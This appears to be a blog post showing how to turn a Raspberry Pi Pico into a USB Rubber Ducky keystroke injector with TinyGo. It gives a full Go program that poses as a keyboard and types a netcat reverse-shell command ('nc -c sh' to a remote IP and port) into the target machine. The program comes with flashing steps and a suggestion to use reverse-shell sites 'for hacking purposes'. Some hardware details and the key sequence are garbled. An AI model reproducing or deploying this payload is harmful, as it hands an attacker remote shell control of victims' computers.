Rubber Ducky With Pi Pico
Rubber Ducky With Pi Pico
What is a USB Rubber Ducky?
A USB Rubber Ducky is a device that appears as a keyboard to the target computer. When plugged in, it can execute pre-programmed keystrokes at incredible speeds, making it useful for security testing and demonstrations.
Why Pi Pico?
The Raspberry Pi Pico offers several advantages:
- Cost-effective alternative to commercial USB Rubber Ducky devices
- Highly customizable and programmable
- Small form factor
- Open-source firmware and tools
Getting Started
To use the Pi Pico as a USB HID device, you’ll need to flash it with appropriate firmware that enables HID functionality. There are several approaches:
Tools :
- Pico Pi (RP2024)
- Convert male USB-Male Type male
Steps :
- install Tinygo
- Create a new directory for the project
- Create a new file called main.go
- Write the following code : this example for connection netcat to the server :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package main
import (
"machine/usb/hid/keyboard"
"time"
)
func main() {
kb := keyboard.Port()
time.Sleep(3 * time.Second)
kb.Down(keyboard.KeyLeftCtrl)
kb.Press(keyboard.KeyP)
kb.UpAll()
time.Sleep(1 * time.Second)
cmd := "nc -c sh 192.168.1.3 9901"
typeString(kb, cmd)
kb.Press(keyboard.KeyEnter)
}
func typeString(kb *keyboard.Device, str string) {
for _, char := range str {
switch char {
case ' ':
kb.Press(keyboard.KeySpace)
case '.':
kb.Press(keyboard.KeyPeriod)
case '-':
kb.Press(keyboard.KeyMinus)
case '0': kb.Press(keyboard.Key0)
case '1': kb.Press(keyboard.Key1)
case '2': kb.Press(keyboard.Key2)
case '3': kb.Press(keyboard.Key3)
case '4': kb.Press(keyboard.Key4)
case '5': kb.Press(keyboard.Key5)
case '6': kb.Press(keyboard.Key6)
case '7': kb.Press(keyboard.Key7)
case '8': kb.Press(keyboard.Key8)
case '9': kb.Press(keyboard.Key9)
default:
if char >= 'a' && char <= 'z' {
k := keyboard.Code(uint8(keyboard.KeyA) + uint8(char-'a'))
kb.Press(k)
}
}
time.Sleep(20 * time.Millisecond)
}
}
- Connect the Pi pico to the PC
- Run the following command to flash the firmware to the Pi pico:
1
tinygo flash -target=pico main.go
- Connect the converted USB to the target computer
- can you using command reverse shell for reverse shell site
- Here is a video example test of using the Pi Pico Rubber Ducky setup:
I chose
TinyGobecause I like the Go language, it’s faster thanPython, and it’s generally more practical and efficient for hacking purposes.
This post is licensed under CC BY 4.0 by the author.



